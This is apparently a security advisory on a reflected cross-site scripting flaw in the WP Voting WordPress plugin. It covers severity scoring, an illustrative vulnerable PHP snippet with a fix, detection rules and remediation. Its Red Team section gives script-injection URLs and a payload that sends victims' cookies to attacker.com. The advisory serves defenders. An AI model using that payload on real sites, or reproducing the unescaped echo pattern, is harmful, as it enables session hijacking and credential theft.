CVE-2025-49057

Executive Summary

CVE-2025-49057 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Voting by Ko Min, affecting versions up to and including 1.8. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). Given the plugin's presence in the WordPress ecosystem, this poses a significant risk to site visitors and administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No patch is currently available, and the plugin may be abandoned. Users should consider removing the plugin or implementing a Web Application Firewall (WAF) rule to block malicious payloads.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Deep Dive & Mechanics

The WP Voting plugin fails to sanitize or encode user input before reflecting it in the HTTP response. An attacker can craft a URL containing a malicious JavaScript payload in a parameter (e.g., ?vote=<script>alert(1)</script>). When a victim visits this URL, the script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as Reflected XSS (CWE-79). The plugin does not implement proper output encoding or input validation for the reflected parameter.

Vulnerable vs. Patched Code

Vulnerable Code (wp-voting <= 1.8):

<?php
// Example vulnerable snippet
$vote = $_GET['vote'];
echo "You voted for: " . $vote;
?>

Patched Code (Hypothetical):

<?php
// Properly escape output
$vote = isset($_GET['vote']) ? htmlspecialchars($_GET['vote'], ENT_QUOTES, 'UTF-8') : '';
echo "You voted for: " . $vote;
?>

Exploitation & Lab Setup

Red Team

1. Craft a malicious URL:

   http://target-site.com/?vote=<script>alert('XSS')</script>
   

2. Deliver via phishing email or social engineering.
3. Payload example for session hijacking:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

Blue Team

1. Monitor for unusual URL parameters containing script tags.
2. Deploy WAF rules to block reflected XSS patterns.
3. Educate users about phishing links.

Indicators of Compromise (IOCs)

• URL Patterns: ?vote=<script>, ?vote=alert(, ?vote=onerror=
• HTTP Referer: Suspicious domains or IPs
• Log Entries: GET /?vote=%3Cscript%3E in access logs
• Browser Console: Unexpected script execution errors

Detection Engineering

YARA Rule

rule CVE_2025_49057_WP_Voting_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP Voting plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-49057"
    strings:
        $xss_payload = /[?&]vote=.*(<script|onerror|onload|alert|prompt|confirm)/i
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against WP Voting Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS payloads in WP Voting plugin parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - "?vote=<script"
            - "?vote=alert("
            - "?vote=onerror="
    condition: selection
falsepositives:
    - Legitimate use of similar strings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49057 WP Voting Reflected XSS Attempt"; flow:to_server; content:"?vote="; nocase; pcre:"/[?&]vote=.*(<script|onerror|onload|alert|prompt|confirm)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Remove or disable the WP Voting plugin until a patch is released.
2. WAF Rule: Block requests containing ?vote= followed by script-like patterns.
3. Input Validation: Implement server-side sanitization using htmlspecialchars().
4. User Education: Warn users not to click suspicious links.
5. Monitor: Review web server logs for exploitation attempts.

Valters IT
Securing Digital Frontiers